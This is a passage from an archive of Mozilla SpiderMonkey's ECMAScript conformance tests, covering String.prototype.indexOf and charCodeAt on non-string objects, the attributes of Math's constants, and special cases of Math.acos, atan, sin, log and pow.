Object]')") ); new TestCase( SECTION, "var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('bject')", 2, eval("var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('bject')") ); new TestCase( SECTION, "var f = new Function(); f.toString = Object.prototype.toString; f.indexOf = String.prototype.indexOf; f.indexOf('[object Function]')", 0, eval("var f = new Function(); f.toString = Object.prototype.toString; f.indexOf = String.prototype.indexOf; f.indexOf('[object Function]')") ); new TestCase( SECTION, "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('true')", -1, eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('true')") ); new TestCase( SECTION, "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 1)", -1, eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 1)") ); new TestCase( SECTION, "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 0)", 0, eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 0)") ); new TestCase( SECTION, "var n = new Number(1e21); n.indexOf = String.prototype.indexOf; n.indexOf('e')", 1, eval("var n = new Number(1e21); n.indexOf = String.prototype.indexOf; n.indexOf('e')") ); new TestCase( SECTION, "var n = new Number(-Infinity); n.indexOf = String.prototype.indexOf; n.indexOf('-')", 0, eval("var n = new Number(-Infinity); n.indexOf = String.prototype.indexOf; n.indexOf('-')") ); new TestCase( SECTION, "var n = new Number(0xFF); n.indexOf = String.prototype.indexOf; n.indexOf('5')", 1, eval("var n = new Number(0xFF); n.indexOf = String.prototype.indexOf; n.indexOf('5')") ); new TestCase( SECTION, "var m = Math; m.indexOf = String.prototype.indexOf; m.indexOf( 'Math' )", 8, eval("var m = Math; m.indexOf = String.prototype.indexOf; m.indexOf( 'Math' )") ); // new Date(0) has '31' or '01' at index 8 depending on whether tester is (GMT-) or (GMT+), respectively new TestCase( SECTION, "var d = new Date(0); d.indexOf = String.prototype.indexOf; d.getTimezoneOffset()>0 ? d.indexOf('31') : d.indexOf('01')", 8, eval("var d = new Date(0); d.indexOf = String.prototype.indexOf; d.getTimezoneOffset()>0 ? d.indexOf('31') : d.indexOf('01')") ); test(); function f() { return this; } function g() { var h = f; return h(); } function MyObject (v) { this.value = v; this.toString = new Function ( "return this.value +\"\""); this.indexOf = String.prototype.indexOf; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.5-2.js0000664000175000017500000002025112106270663020713 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.5.1.js ECMA Section: 15.5.4.5 String.prototype.charCodeAt(pos) Description: Returns a number (a nonnegative integer less than 2^16) representing the Unicode encoding of the character at position pos in this string. If there is no character at that position, the number is NaN. When the charCodeAt method is called with one argument pos, the following steps are taken: 1. Call ToString, giving it the theis value as its argument 2. Call ToInteger(pos) 3. Compute the number of characters in result(1). 4. If Result(2) is less than 0 or is not less than Result(3), return NaN. 5. Return a value of Number type, of positive sign, whose magnitude is the Unicode encoding of one character from result 1, namely the characer at position Result (2), where the first character in Result(1) is considered to be at position 0. Note that the charCodeAt function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.charCodeAt"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); var x; new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(0)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)", 0x0075, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(2)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)", 0x0065, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(3)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(4)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)", Number.NaN, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(-1)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)", 0x0072, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(true)") ); new TestCase( SECTION, "x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)", 0x0074, eval("x = new Boolean(true); x.charCodeAt=String.prototype.charCodeAt;x.charCodeAt(false)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(0)", Number.NaN, eval("x=new String();x.charCodeAt(0)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(1)", Number.NaN, eval("x=new String();x.charCodeAt(1)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(-1)", Number.NaN, eval("x=new String();x.charCodeAt(-1)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(NaN)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NaN)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.POSITIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.POSITIVE_INFINITY)") ); new TestCase( SECTION, "x = new String(); x.charCodeAt(Number.NEGATIVE_INFINITY)", Number.NaN, eval("x=new String();x.charCodeAt(Number.NEGATIVE_INFINITY)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(0)", 0x0031, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(0)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(1)", 0x002C, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(1)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(2)", 0x0032, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(2)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(3)", 0x002C, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(3)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(4)", 0x0033, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(4)") ); new TestCase( SECTION, "x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(5)", NaN, eval("x = new Array(1,2,3); x.charCodeAt = String.prototype.charCodeAt; x.charCodeAt(5)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(0)", 0x005B, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(0)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(1)", 0x006F, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(1)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(2)", 0x0062, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(2)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(3)", 0x006A, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(3)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(4)", 0x0065, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(4)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(5)", 0x0063, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(5)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(6)", 0x0074, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(6)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(7)", 0x0020, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(7)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(8)", 0x004F, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(8)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(9)", 0x0062, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(9)") ); new TestCase( SECTION, "x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(10)", 0x006A, eval("x = new Function( 'this.charCodeAt = String.prototype.charCodeAt' ); f = new x(); f.charCodeAt(10)") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/0000775000175000017500000000000012106270663016744 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Math/15.8.1.5-1.js0000664000175000017500000000163112106270663020336 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.5-1.js ECMA Section: 15.8.1.5.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.LOG10E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LOG10E"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.LOG10E=0; Math.LOG10E", 0.4342944819032518, eval("Math.LOG10E=0; Math.LOG10E") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.2-2.js0000664000175000017500000000204612106270663020335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.2-1.js ECMA Section: 15.8.2.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.LN10 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LN10"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete( Math.LN10 ); Math.LN10", 2.302585092994046, eval("delete(Math.LN10); Math.LN10") ); new TestCase( SECTION, "delete( Math.LN10 ); ", false, eval("delete(Math.LN10)") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.2.js0000664000175000017500000000531312106270663020177 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.2.js ECMA Section: 15.8.2.2 acos( x ) Description: return an approximation to the arc cosine of the argument. the result is expressed in radians and range is from +0 to +PI. special cases: - if x is NaN, return NaN - if x > 1, the result is NaN - if x < -1, the result is NaN - if x == 1, the result is +0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.acos()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.acos.length", 1, Math.acos.length ); new TestCase( SECTION, "Math.acos(void 0)", Number.NaN, Math.acos(void 0) ); new TestCase( SECTION, "Math.acos()", Number.NaN, Math.acos() ); new TestCase( SECTION, "Math.acos(null)", Math.PI/2, Math.acos(null) ); new TestCase( SECTION, "Math.acos(NaN)", Number.NaN, Math.acos(Number.NaN) ); new TestCase( SECTION, "Math.acos(a string)", Number.NaN, Math.acos("a string") ); new TestCase( SECTION, "Math.acos('0')", Math.PI/2, Math.acos('0') ); new TestCase( SECTION, "Math.acos('1')", 0, Math.acos('1') ); new TestCase( SECTION, "Math.acos('-1')", Math.PI, Math.acos('-1') ); new TestCase( SECTION, "Math.acos(1.00000001)", Number.NaN, Math.acos(1.00000001) ); new TestCase( SECTION, "Math.acos(11.00000001)", Number.NaN, Math.acos(-1.00000001) ); new TestCase( SECTION, "Math.acos(1)", 0, Math.acos(1) ); new TestCase( SECTION, "Math.acos(-1)", Math.PI, Math.acos(-1) ); new TestCase( SECTION, "Math.acos(0)", Math.PI/2, Math.acos(0) ); new TestCase( SECTION, "Math.acos(-0)", Math.PI/2, Math.acos(-0) ); new TestCase( SECTION, "Math.acos(Math.SQRT1_2)", Math.PI/4, Math.acos(Math.SQRT1_2)); new TestCase( SECTION, "Math.acos(-Math.SQRT1_2)", Math.PI/4*3, Math.acos(-Math.SQRT1_2)); new TestCase( SECTION, "Math.acos(0.9999619230642)", Math.PI/360, Math.acos(0.9999619230642)); new TestCase( SECTION, "Math.acos(-3.0)", Number.NaN, Math.acos(-3.0)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.16.js0000664000175000017500000000423212106270663020263 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.16.js ECMA Section: 15.8.2.16 sin( x ) Description: return an approximation to the sine of the argument. argument is expressed in radians Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.16"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.sin(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.sin.length", 1, Math.sin.length ); new TestCase( SECTION, "Math.sin()", Number.NaN, Math.sin() ); new TestCase( SECTION, "Math.sin(null)", 0, Math.sin(null) ); new TestCase( SECTION, "Math.sin(void 0)", Number.NaN, Math.sin(void 0) ); new TestCase( SECTION, "Math.sin(false)", 0, Math.sin(false) ); new TestCase( SECTION, "Math.sin('2.356194490192')", 0.7071067811865, Math.sin('2.356194490192') ); new TestCase( SECTION, "Math.sin(NaN)", Number.NaN, Math.sin(Number.NaN) ); new TestCase( SECTION, "Math.sin(0)", 0, Math.sin(0) ); new TestCase( SECTION, "Math.sin(-0)", -0, Math.sin(-0)); new TestCase( SECTION, "Math.sin(Infinity)", Number.NaN, Math.sin(Number.POSITIVE_INFINITY)); new TestCase( SECTION, "Math.sin(-Infinity)", Number.NaN, Math.sin(Number.NEGATIVE_INFINITY)); new TestCase( SECTION, "Math.sin(0.7853981633974)", 0.7071067811865, Math.sin(0.7853981633974)); new TestCase( SECTION, "Math.sin(1.570796326795)", 1, Math.sin(1.570796326795)); new TestCase( SECTION, "Math.sin(2.356194490192)", 0.7071067811865, Math.sin(2.356194490192)); new TestCase( SECTION, "Math.sin(3.14159265359)", 0, Math.sin(3.14159265359)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.4.js0000664000175000017500000000536112106270663020204 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.4.js ECMA Section: 15.8.2.4 atan( x ) Description: return an approximation to the arc tangent of the argument. the result is expressed in radians and range is from -PI/2 to +PI/2. special cases: - if x is NaN, the result is NaN - if x == +0, the result is +0 - if x == -0, the result is -0 - if x == +Infinity, the result is approximately +PI/2 - if x == -Infinity, the result is approximately -PI/2 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.4"; var VERSION = "ECMA_1"; var TITLE = "Math.atan()"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.atan.length", 1, Math.atan.length ); new TestCase( SECTION, "Math.atan()", Number.NaN, Math.atan() ); new TestCase( SECTION, "Math.atan(void 0)", Number.NaN, Math.atan(void 0) ); new TestCase( SECTION, "Math.atan(null)", 0, Math.atan(null) ); new TestCase( SECTION, "Math.atan(NaN)", Number.NaN, Math.atan(Number.NaN) ); new TestCase( SECTION, "Math.atan('a string')", Number.NaN, Math.atan("a string") ); new TestCase( SECTION, "Math.atan('0')", 0, Math.atan('0') ); new TestCase( SECTION, "Math.atan('1')", Math.PI/4, Math.atan('1') ); new TestCase( SECTION, "Math.atan('-1')", -Math.PI/4, Math.atan('-1') ); new TestCase( SECTION, "Math.atan('Infinity)", Math.PI/2, Math.atan('Infinity') ); new TestCase( SECTION, "Math.atan('-Infinity)", -Math.PI/2, Math.atan('-Infinity') ); new TestCase( SECTION, "Math.atan(0)", 0, Math.atan(0) ); new TestCase( SECTION, "Math.atan(-0)", -0, Math.atan(-0) ); new TestCase( SECTION, "Infinity/Math.atan(-0)", -Infinity, Infinity/Math.atan(-0) ); new TestCase( SECTION, "Math.atan(Infinity)", Math.PI/2, Math.atan(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.atan(-Infinity)", -Math.PI/2, Math.atan(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.atan(1)", Math.PI/4, Math.atan(1) ); new TestCase( SECTION, "Math.atan(-1)", -Math.PI/4, Math.atan(-1) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.10.js0000664000175000017500000000505712106270663020263 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.10.js ECMA Section: 15.8.2.10 Math.log(x) Description: return an approximiation to the natural logarithm of the argument. special cases: - if arg is NaN result is NaN - if arg is <0 result is NaN - if arg is 0 or -0 result is -Infinity - if arg is 1 result is 0 - if arg is Infinity result is Infinity Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.10"; var VERSION = "ECMA_1"; var TITLE = "Math.log(x)"; var BUGNUMBER = "77391"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.log.length", 1, Math.log.length ); new TestCase( SECTION, "Math.log()", Number.NaN, Math.log() ); new TestCase( SECTION, "Math.log(void 0)", Number.NaN, Math.log(void 0) ); new TestCase( SECTION, "Math.log(null)", Number.NEGATIVE_INFINITY, Math.log(null) ); new TestCase( SECTION, "Math.log(true)", 0, Math.log(true) ); new TestCase( SECTION, "Math.log(false)", -Infinity, Math.log(false) ); new TestCase( SECTION, "Math.log('0')", -Infinity, Math.log('0') ); new TestCase( SECTION, "Math.log('1')", 0, Math.log('1') ); new TestCase( SECTION, "Math.log('Infinity')", Infinity, Math.log("Infinity") ); new TestCase( SECTION, "Math.log(NaN)", Number.NaN, Math.log(Number.NaN) ); new TestCase( SECTION, "Math.log(-0.0000001)", Number.NaN, Math.log(-0.000001) ); new TestCase( SECTION, "Math.log(-1)", Number.NaN, Math.log(-1) ); new TestCase( SECTION, "Math.log(0)", Number.NEGATIVE_INFINITY, Math.log(0) ); new TestCase( SECTION, "Math.log(-0)", Number.NEGATIVE_INFINITY, Math.log(-0)); new TestCase( SECTION, "Math.log(1)", 0, Math.log(1) ); new TestCase( SECTION, "Math.log(Infinity)", Number.POSITIVE_INFINITY, Math.log(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.log(-Infinity)", Number.NaN, Math.log(Number.NEGATIVE_INFINITY) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.5-2.js0000664000175000017500000000206012106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.5-2.js ECMA Section: 15.8.1.5.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.LOG10E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LOG10E"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete Math.LOG10E; Math.LOG10E", 0.4342944819032518, eval("delete Math.LOG10E; Math.LOG10E") ); new TestCase( SECTION, "delete Math.LOG10E", false, eval("delete Math.LOG10E") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/shell.js0000664000175000017500000000000012106270663020377 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Math/15.8.1.1-1.js0000664000175000017500000000160212106270663020330 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.1-1.js ECMA Section: 15.8.1.1.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.E"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.E = 0; Math.E", 2.7182818284590452354, eval("Math.E=0;Math.E") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.13.js0000664000175000017500000002042412106270663020261 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.13.js ECMA Section: 15.8.2.13 Math.pow(x, y) Description: return an approximation to the result of x to the power of y. there are many special cases; refer to the spec. Author: christine@netscape.com Date: 9 july 1997 */ var SECTION = "15.8.2.13"; var VERSION = "ECMA_1"; var TITLE = "Math.pow(x, y)"; var BUGNUMBER="77141"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.pow.length", 2, Math.pow.length ); new TestCase( SECTION, "Math.pow()", Number.NaN, Math.pow() ); new TestCase( SECTION, "Math.pow(null, null)", 1, Math.pow(null,null) ); new TestCase( SECTION, "Math.pow(void 0, void 0)", Number.NaN, Math.pow(void 0, void 0)); new TestCase( SECTION, "Math.pow(true, false)", 1, Math.pow(true, false) ); new TestCase( SECTION, "Math.pow(false,true)", 0, Math.pow(false,true) ); new TestCase( SECTION, "Math.pow('2','32')", 4294967296, Math.pow('2','32') ); new TestCase( SECTION, "Math.pow(1,NaN)", Number.NaN, Math.pow(1,Number.NaN) ); new TestCase( SECTION, "Math.pow(0,NaN)", Number.NaN, Math.pow(0,Number.NaN) ); new TestCase( SECTION, "Math.pow(NaN,0)", 1, Math.pow(Number.NaN,0) ); new TestCase( SECTION, "Math.pow(NaN,-0)", 1, Math.pow(Number.NaN,-0) ); new TestCase( SECTION, "Math.pow(NaN,1)", Number.NaN, Math.pow(Number.NaN, 1) ); new TestCase( SECTION, "Math.pow(NaN,.5)", Number.NaN, Math.pow(Number.NaN, .5) ); new TestCase( SECTION, "Math.pow(1.00000001, Infinity)", Number.POSITIVE_INFINITY, Math.pow(1.00000001, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(1.00000001, -Infinity)", 0, Math.pow(1.00000001, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-1.00000001, Infinity)", Number.POSITIVE_INFINITY, Math.pow(-1.00000001,Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-1.00000001, -Infinity)", 0, Math.pow(-1.00000001,Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(1, Infinity)", Number.NaN, Math.pow(1, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(1, -Infinity)", Number.NaN, Math.pow(1, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-1, Infinity)", Number.NaN, Math.pow(-1, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-1, -Infinity)", Number.NaN, Math.pow(-1, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(.0000000009, Infinity)", 0, Math.pow(.0000000009, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-.0000000009, Infinity)", 0, Math.pow(-.0000000009, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(.0000000009, -Infinity)", Number.POSITIVE_INFINITY, Math.pow(-.0000000009, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(Infinity, .00000000001)", Number.POSITIVE_INFINITY, Math.pow(Number.POSITIVE_INFINITY,.00000000001) ); new TestCase( SECTION, "Math.pow(Infinity, 1)", Number.POSITIVE_INFINITY, Math.pow(Number.POSITIVE_INFINITY, 1) ); new TestCase( SECTION, "Math.pow(Infinity, -.00000000001)", 0, Math.pow(Number.POSITIVE_INFINITY, -.00000000001) ); new TestCase( SECTION, "Math.pow(Infinity, -1)", 0, Math.pow(Number.POSITIVE_INFINITY, -1) ); new TestCase( SECTION, "Math.pow(-Infinity, 1)", Number.NEGATIVE_INFINITY, Math.pow(Number.NEGATIVE_INFINITY, 1) ); new TestCase( SECTION, "Math.pow(-Infinity, 333)", Number.NEGATIVE_INFINITY, Math.pow(Number.NEGATIVE_INFINITY, 333) ); new TestCase( SECTION, "Math.pow(Infinity, 2)", Number.POSITIVE_INFINITY, Math.pow(Number.POSITIVE_INFINITY, 2) ); new TestCase( SECTION, "Math.pow(-Infinity, 666)", Number.POSITIVE_INFINITY, Math.pow(Number.NEGATIVE_INFINITY, 666) ); new TestCase( SECTION, "Math.pow(-Infinity, 0.5)", Number.POSITIVE_INFINITY, Math.pow(Number.NEGATIVE_INFINITY, 0.5) ); new TestCase( SECTION, "Math.pow(-Infinity, Infinity)", Number.POSITIVE_INFINITY, Math.pow(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-Infinity, -1)", -0, Math.pow(Number.NEGATIVE_INFINITY, -1) ); new TestCase( SECTION, "Infinity/Math.pow(-Infinity, -1)", -Infinity, Infinity/Math.pow(Number.NEGATIVE_INFINITY, -1) ); new TestCase( SECTION, "Math.pow(-Infinity, -3)", -0, Math.pow(Number.NEGATIVE_INFINITY, -3) ); new TestCase( SECTION, "Math.pow(-Infinity, -2)", 0, Math.pow(Number.NEGATIVE_INFINITY, -2) ); new TestCase( SECTION, "Math.pow(-Infinity, -0.5)", 0, Math.pow(Number.NEGATIVE_INFINITY,-0.5) ); new TestCase( SECTION, "Math.pow(-Infinity, -Infinity)", 0, Math.pow(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(0, 1)", 0, Math.pow(0,1) ); new TestCase( SECTION, "Math.pow(0, 0)", 1, Math.pow(0,0) ); new TestCase( SECTION, "Math.pow(1, 0)", 1, Math.pow(1,0) ); new TestCase( SECTION, "Math.pow(-1, 0)", 1, Math.pow(-1,0) ); new TestCase( SECTION, "Math.pow(0, 0.5)", 0, Math.pow(0,0.5) ); new TestCase( SECTION, "Math.pow(0, 1000)", 0, Math.pow(0,1000) ); new TestCase( SECTION, "Math.pow(0, Infinity)", 0, Math.pow(0, 